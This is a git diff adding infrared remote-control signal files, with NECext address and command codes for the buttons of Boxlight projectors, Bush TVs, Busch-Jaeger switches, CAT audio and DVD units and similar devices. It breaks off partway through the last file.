79 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/135,78.ir b/assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/135,78.ir new file mode 100644 index 000000000..c4c395788 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/135,78.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 02 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 0D 00 00 00 +# +name: COMPUTER +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 19 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/48,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/48,-1.ir new file mode 100644 index 000000000..2ea42c2e9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/48,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 00 00 00 00 +# +name: D_ZOOM+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 01 00 00 00 +# +name: D_ZOOM- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 02 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 05 00 00 00 +# +name: COMPUTER +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 07 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1C 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1F 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 43 00 00 00 +# +name: ZOOM- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 46 00 00 00 +# +name: ZOOM+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 47 00 00 00 +# +name: FOCUS+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 4A 00 00 00 +# +name: FOCUS- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 4B 00 00 00 +# +name: AUTP_IMAGE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 89 00 00 00 +# +name: NO_SHOW +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 8B 00 00 00 +# +name: KEYSTONE+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 8E 00 00 00 +# +name: KEYSTONE- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 8F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/48,206.ir b/assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/48,206.ir new file mode 100644 index 000000000..af9823126 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Boxlight/Projector/48,206.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 30 CE 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Broksonic/VCR/128,123.ir b/assets/resources/infrared/_CSV-IRDB_/Broksonic/VCR/128,123.ir new file mode 100644 index 000000000..091680260 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Broksonic/VCR/128,123.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: RECORD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 15 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 16 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 17 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 18 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 19 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir new file mode 100644 index 000000000..32eef6ff2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: ON_4_WS +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 31 00 00 00 +# +name: ON_4_WS_B +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 31 00 00 00 +# +name: OFF_4_WS +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 32 00 00 00 +# +name: OFF_4_WS_B +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 32 00 00 00 +# +name: ON_5_WS +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 35 00 00 00 +# +name: ON_5_WS_B +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 35 00 00 00 +# +name: OFF_5_WS +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 36 00 00 00 +# +name: OFF_5_WS_B +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 36 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 38 00 00 00 +# +name: MEMO_B +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 38 00 00 00 +# +name: ON_1_WS +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 39 00 00 00 +# +name: ON_1_WS_B +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 39 00 00 00 +# +name: OFF_1_WS +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3A 00 00 00 +# +name: OFF_1_WS_B +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3A 00 00 00 +# +name: ON_3_WS +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3B 00 00 00 +# +name: ON_3_WS_B +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3B 00 00 00 +# +name: OFF_3_WS +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3C 00 00 00 +# +name: OFF_3_WS_B +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3C 00 00 00 +# +name: ON_2_WS +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3D 00 00 00 +# +name: ON_2_WS_B +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3D 00 00 00 +# +name: OFF_2_WS +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3E 00 00 00 +# +name: OFF_2_WS_B +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir new file mode 100644 index 000000000..d170f73db --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: ON_9_BL +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 31 00 00 00 +# +name: ON_9_BL_B +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 31 00 00 00 +# +name: OFF_9_BL +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 32 00 00 00 +# +name: OFF_9_BL_B +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 32 00 00 00 +# +name: M1 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 33 00 00 00 +# +name: M1_B +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 33 00 00 00 +# +name: M2 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 34 00 00 00 +# +name: M2_B +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 34 00 00 00 +# +name: ON_10_BL +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 35 00 00 00 +# +name: ON_10_BL_B +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 35 00 00 00 +# +name: OFF_10_BL +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 36 00 00 00 +# +name: OFF_10_BL_B +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 36 00 00 00 +# +name: ON_6_BL +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 39 00 00 00 +# +name: ON_6_BL_B +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 39 00 00 00 +# +name: OFF_6_BL +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 3A 00 00 00 +# +name: OFF_6_BL_B +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 3A 00 00 00 +# +name: ON_8_BL +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 3B 00 00 00 +# +name: ON_8_BL_B +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 3B 00 00 00 +# +name: OFF_8_BL +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 3C 00 00 00 +# +name: OFF_8_BL_B +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 3C 00 00 00 +# +name: ON_7_BL +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 3D 00 00 00 +# +name: ON_7_BL_B +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 3D 00 00 00 +# +name: OFF_7_BL +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 3E 00 00 00 +# +name: OFF_7_BL_B +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 3E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 3F 00 00 00 +# +name: POWER_B +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bush/Light/29,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Bush/Light/29,-1.ir new file mode 100644 index 000000000..ae852146d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bush/Light/29,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: 1_ON +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 39 00 00 00 +# +name: 1_OFF +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3A 00 00 00 +# +name: 2_ON +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3D 00 00 00 +# +name: 2_OFF +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir new file mode 100644 index 000000000..ba29c10eb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: off +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: norm +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: clockon +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: white +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: menu-off +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir new file mode 100644 index 000000000..aa23bdd21 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: tvdtv +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: X_KEY_VOLUMENDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: wide +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 21 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 22 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 34 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 37 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 3C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir new file mode 100644 index 000000000..233c4381f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: SMART_CONTROL_PICTURE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: MIX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: P100 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: DOUB +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: SMART_CONTROL_SOUND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: HOLD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: UPDATE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: PP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: PURPLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: TV/TX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ByDesign/LCD/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/ByDesign/LCD/71,-1.ir new file mode 100644 index 000000000..c1163a261 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ByDesign/LCD/71,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 04 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir b/assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir new file mode 100644 index 000000000..e61ee41b7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: FMMode +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 02 00 00 00 +# +name: Reset +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 03 00 00 00 +# +name: Test +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 05 00 00 00 +# +name: DolbyDigital +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 06 00 00 00 +# +name: Bypass +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 07 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 08 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 09 00 00 00 +# +name: Delay +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0D 00 00 00 +# +name: Config +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 0F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 10 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 11 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 12 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 17 00 00 00 +# +name: DSPDown +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 18 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 19 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 1B 00 00 00 +# +name: Opt +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 1D 00 00 00 +# +name: ChLevel +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 1E 00 00 00 +# +name: Coax +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 1F 00 00 00 +# +name: X_KEY_3Stereo +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 40 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 41 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 42 00 00 00 +# +name: Dimmer +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 43 00 00 00 +# +name: DTS +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 44 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 45 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 46 00 00 00 +# +name: ProLogic +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 47 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 48 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 49 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 4A 00 00 00 +# +name: Direct +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 50 00 00 00 +# +name: PreTun +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 53 00 00 00 +# +name: Memo +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 55 00 00 00 +# +name: Auto +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 56 00 00 00 +# +name: FMAM +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 57 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 59 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 5E 00 00 00 +# +name: DSPUp +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir new file mode 100644 index 000000000..549c6cf01 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: N/P +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: MENU/PBC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 